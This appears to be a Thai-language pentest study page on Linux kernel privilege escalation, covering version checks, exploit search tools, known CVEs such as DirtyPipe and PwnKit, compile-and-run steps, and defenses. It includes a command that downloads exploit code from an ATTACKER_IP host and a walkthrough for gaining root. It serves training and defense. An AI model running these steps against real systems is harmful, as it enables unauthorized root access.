คลัง
linux-privesc

Kernel Exploitation

Kernel Exploitation ยกระดับเป็น root โดยใช้ช่องโหว่ใน Linux kernel เอง — ได้ผลเมื่อ kernel เก่า/ไม่ได้ patch บทนี้ลงลึกการระบุเวอร์ชัน, การหา exploit ที่ตรง, ช่องโหว่ดังที่ควรรู้ (DirtyCow, DirtyPipe, PwnKit, OverlayFS), ข้อควรระวังในการรัน, และการป้องกัน (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Advanced#kernel#linux#privesc#dirtycow#dirtypipe#pwnkit#cve#ctf

1. หลักการและข้อควรระวัง

kernel รันด้วยสิทธิ์สูงสุด — ช่องโหว่ใน kernel ทำให้ user ธรรมดายกระดับเป็น root ได้โดยตรง ใช้ได้เมื่อ kernel เป้าหมายเก่าหรือไม่ได้ patch เป็นทางเลือกเมื่อช่องทางอื่น (SUID/sudo/cron) ไม่มี

kernel exploit เสี่ยงทำให้ระบบ crash/kernel panic — ลองช่องทางอื่นก่อน (misconfiguration), ใช้เป็นทางเลือกท้ายๆ; ในงานจริงต้องระวังเพราะอาจทำ service ล่ม; ทดสอบใน lab/CTF เป็นหลัก
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. ระบุเวอร์ชัน + หา exploit

uname → searchsploitLinux
# ระบุ kernel + distro
uname -a                         # kernel version (เช่น 4.4.0-21)
cat /etc/os-release              # distro + version
cat /proc/version

# หา exploit ที่ตรงเวอร์ชัน
searchsploit linux kernel 4.4.0
searchsploit "linux kernel privilege escalation" | grep 4.4

# LinPEAS แนะนำ kernel exploit ให้ (section "Possible Exploits")
# linux-exploit-suggester
./linux-exploit-suggester.sh     # วิเคราะห์ kernel + แนะนำ CVE/exploit
uname -a → เวอร์ชัน; searchsploit/linux-exploit-suggester หา exploit ที่ตรง; LinPEAS แนะนำให้ด้วย

3. ช่องโหว่ดังที่ควรรู้

ชื่อ / CVEกระทบลักษณะ
DirtyCow (CVE-2016-5195)kernel < 4.8.3race condition COW → เขียนไฟล์ readonly
DirtyPipe (CVE-2022-0847)kernel 5.8–5.16เขียนไฟล์ readonly ผ่าน pipe → แก้ /etc/passwd
PwnKit (CVE-2021-4034)polkit pkexec (ไม่ใช่ kernel แต่ระบบ)pkexec → root, กระทบกว้างมาก
OverlayFS (CVE-2021-3493)Ubuntu kerneloverlayfs → root
Sequoia (CVE-2021-33909)kernel < 5.13filesystem layer
nf_tables (CVE-2024-1086)kernel 5.14+netfilter use-after-free
PwnKit (pkexec) ไม่ใช่ kernel แต่กระทบ Linux เกือบทุก distro หลายปี — เช็คก่อนเสมอ (pkexec --version); DirtyPipe ใหม่กว่าและ exploit ง่าย ถ้า kernel อยู่ในช่วง

4. Compile และรัน

compile + รัน exploitLinux
# ส่ง exploit เข้าเป้าหมาย (จาก searchsploit หรือ github)
# DirtyPipe ตัวอย่าง:
wget http://ATTACKER_IP/dirtypipe.c -O /tmp/dp.c
gcc /tmp/dp.c -o /tmp/dp          # compile บนเป้า (ต้องมี gcc)
/tmp/dp                          # รัน → root

# ถ้าไม่มี gcc บนเป้า → compile บนเครื่องเรา (arch ตรง) แล้วส่ง binary
# หรือ static compile: gcc -static dp.c -o dp

# PwnKit (pkexec) — มี exploit สำเร็จรูปหลายภาษา
./PwnKit                         # binary สำเร็จรูป → root

# ตรวจ arch ให้ตรง (x86/x64/ARM)
uname -m
ต้อง compile ให้ arch ตรง; ไม่มี gcc บนเป้า → compile บนเครื่องเรา (static) แล้วส่ง; ตรวจ exploit ก่อนรันในงานจริง

5. การป้องกัน

  • patch/update kernel สม่ำเสมอ — ป้องกันหลักที่สุด
  • update package ระบบ (polkit สำหรับ PwnKit)
  • ใช้ kernel hardening (grsecurity/KSPP features)
  • ปิด feature ที่ไม่ใช้ (user namespaces ถ้าไม่จำเป็น)
  • monitor/EDR ตรวจ exploit behavior
  • least privilege + ลดช่องทางอื่น (SUID/sudo) ที่นำมาถึงจุดรัน exploit

6. Quick Reference

  • ใช้ช่องโหว่ kernel → root; ได้ผลเมื่อ kernel เก่า/ไม่ patch
  • เสี่ยง crash — ลองช่องทางอื่นก่อน, ใช้ท้ายๆ
  • ระบุ: uname -a, /etc/os-release → searchsploit/linux-exploit-suggester
  • ดัง: DirtyCow(<4.8), DirtyPipe(5.8-5.16), PwnKit(pkexec), OverlayFS
  • PwnKit เช็คก่อน (กระทบกว้าง); DirtyPipe exploit ง่าย
  • compile arch ตรง (static ถ้าไม่มี gcc บนเป้า)
  • ป้องกัน: patch kernel/polkit สม่ำเสมอ

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติไล่ SUID/sudo/cron/capability มาหมดแล้วยังไม่เจอทาง (หรือโจทย์บอกใบ้ว่า kernel เก่ามาก) มีแค่ Kali เปล่าๆ ลองมาทางนี้เป็นทางเลือกสุดท้าย — แต่ต้องระวังเพราะเสี่ยงทำระบบ crash ทำตามนี้ทีละขั้น

  1. 1ก่อนอื่นถามตัวเองว่าลอง SUID/sudo -l/cron/capability มาหมดแล้วจริงหรือยัง (ช่องทางพวกนี้เสี่ยงน้อยกว่ามาก)
  2. 2พิมพ์ uname -a และ cat /etc/os-release เก็บเวอร์ชัน kernel + distro ไว้
  3. 3พิมพ์ pkexec --version เช็ค PwnKit ก่อนเป็นอันดับแรก (กระทบ distro เกือบทุกตัวหลายปี)
  4. 4ถ้าไม่ตรง PwnKit ให้โหลด linux-exploit-suggester.sh เข้าเป้าหมายแล้วรันดู
  5. 5หรือใช้ searchsploit linux kernel <เวอร์ชันที่ได้> บนเครื่อง Kali หาช่องโหว่ที่ตรง
  6. 6พิมพ์ uname -m เช็ค architecture ให้ตรงก่อน compile (x86/x64/ARM)
  7. 7ถ้าเป้าหมายมี gcc ให้ compile ตรงนั้นเลย ถ้าไม่มีให้ compile บนเครื่อง Kali แบบ static แล้วส่งไฟล์ binary เข้าไป
  8. 8รัน exploit แล้วพิมพ์ id ทันที ถ้าไม่สำเร็จหรือระบบเริ่มค้าง ให้หยุดทันที อย่ารันซ้ำรัวๆ
  9. 9ถ้าสำเร็จ id ต้องขึ้น uid=0(root)
ก่อนจะใช้ kernel exploit / ถ้าไม่มี CVE ที่ตรงไปทางไหน
ลองช่องทาง misconfiguration (SUID/sudo/cron/capability) มาหมดแล้วหรือยัง?
❌ ยังไม่ได้ลอง→ กลับไปไล่ SUID/sudo/cron ก่อน เสี่ยงน้อยกว่า
✅ ลองหมดแล้ว ไม่มีทางอื่น→ มาถึงจุดนี้ค่อยลอง kernel exploit
รัน pkexec --version เช็ค PwnKit ก่อน (กระทบกว้างสุด)
✅ เวอร์ชันช่องโหว่→ ใช้ PwnKit exploit สำเร็จรูป
❌ ไม่ตรง/patch แล้ว→ เช็ค linux-exploit-suggester ต่อ
รัน linux-exploit-suggester.sh หรือ searchsploit ตาม kernel version
✅ เจอ CVE ที่ตรง (DirtyPipe/DirtyCow/OverlayFS)→ ดาวน์โหลด exploit source มาคอมไพล์
❌ ไม่เจอ/kernel ใหม่เกินไม่มี CVE→ ไม่มี kernel exploit ให้ใช้ กลับไปไล่ vector อื่น
gcc exploit.c -o exploit (เช็ค uname -m ให้ arch ตรง)
./exploit → id เป็น root?
✅ สำเร็จ→ จบงาน ได้ root
❌ ระบบค้าง/crash หรือไม่ทำงาน→ หยุดทันที ห้ามลองซ้ำรัวๆ ในงานจริงต้องแจ้งทีม
ไม่มี gcc บนเป้าหมาย → compile บนเครื่องเรา (arch ตรง, static) แล้วส่งไฟล์
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ระบุ kernel/distro versionuname -a, cat /etc/os-release--
หา exploit ที่ตรง versionsearchsploitlinux-exploit-suggester (git clone)exploit-db.com
ดาวน์โหลด exploit sourcewget, curl-github.com (ค้นชื่อ CVE)
compile exploit ให้ตรง archgcc, uname -m--
ส่งไฟล์/binary เข้าเป้าหมายpython3 -m http.server, wget--
เช็ค PwnKit เฉพาะpkexec --version--
enumeration อัตโนมัติแนะนำ exploit-linpeas-
🚑 ก่อนจะมาถึงหัวข้อนี้ควรลองท่าที่เสี่ยงน้อยกว่าให้ครบก่อนเสมอ (kernel exploit เสี่ยง crash): Linux Enumeration (เก็บข้อมูลครบหรือยัง) · SUID/SGID · Capabilities · Cron Jobs · LinPEAS (สแกนอัตโนมัติแนะนำ CVE ให้ด้วย) — ใช้ kernel exploit เฉพาะเมื่อไล่หมดแล้วจริงๆ

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้